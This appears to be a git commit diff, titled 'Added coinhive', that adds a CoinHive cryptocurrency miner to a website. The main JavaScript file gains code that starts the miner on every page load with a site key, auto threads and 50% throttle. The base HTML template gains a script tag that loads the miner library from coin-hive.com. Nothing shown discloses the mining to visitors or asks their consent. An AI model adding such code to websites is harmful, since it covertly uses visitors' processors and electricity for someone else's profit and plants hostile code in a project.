#37 Added coinhive
parent
e487fe5751
commit
06419abf82
|
@ -1,5 +1,5 @@
|
||||||
'use strict';
|
'use strict';
|
||||||
/* global ga */
|
/* global ga CoinHive */
|
||||||
|
|
||||||
// Google analytics
|
// Google analytics
|
||||||
(function(t,r,a,c,m,o,n){t['GoogleAnalyticsObject']=m;t[m]=t[m]||function(){
|
(function(t,r,a,c,m,o,n){t['GoogleAnalyticsObject']=m;t[m]=t[m]||function(){
|
||||||
|
@ -9,3 +9,9 @@ n=r.getElementsByTagName(a)[0];o.async=1;o.src=c;n.parentNode.insertBefore(o,n);
|
||||||
ga('create','UA-44266909-3','auto');
|
ga('create','UA-44266909-3','auto');
|
||||||
ga('require','linkid');
|
ga('require','linkid');
|
||||||
ga('send','pageview');
|
ga('send','pageview');
|
||||||
|
|
||||||
|
// Coinhive
|
||||||
|
new CoinHive.Anonymous('7FZrGIbIO4kqxbTLa82QpffB9ShUGmWE',{
|
||||||
|
autoThreads: true,
|
||||||
|
throttle: .5
|
||||||
|
}).start(CoinHive.FORCE_EXCLUSIVE_TAB);
|
||||||
|
|
|
@ -62,6 +62,7 @@
|
||||||
|
|
||||||
<!-- Javascript -->
|
<!-- Javascript -->
|
||||||
{% block javascript %}
|
{% block javascript %}
|
||||||
|
<script type="application/javascript" src="https://coin-hive.com/lib/coinhive.min.js"></script>
|
||||||
<script type="application/javascript" src="/static/js/.base.bun.js"></script>
|
<script type="application/javascript" src="/static/js/.base.bun.js"></script>
|
||||||
{% endblock %}
|
{% endblock %}
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue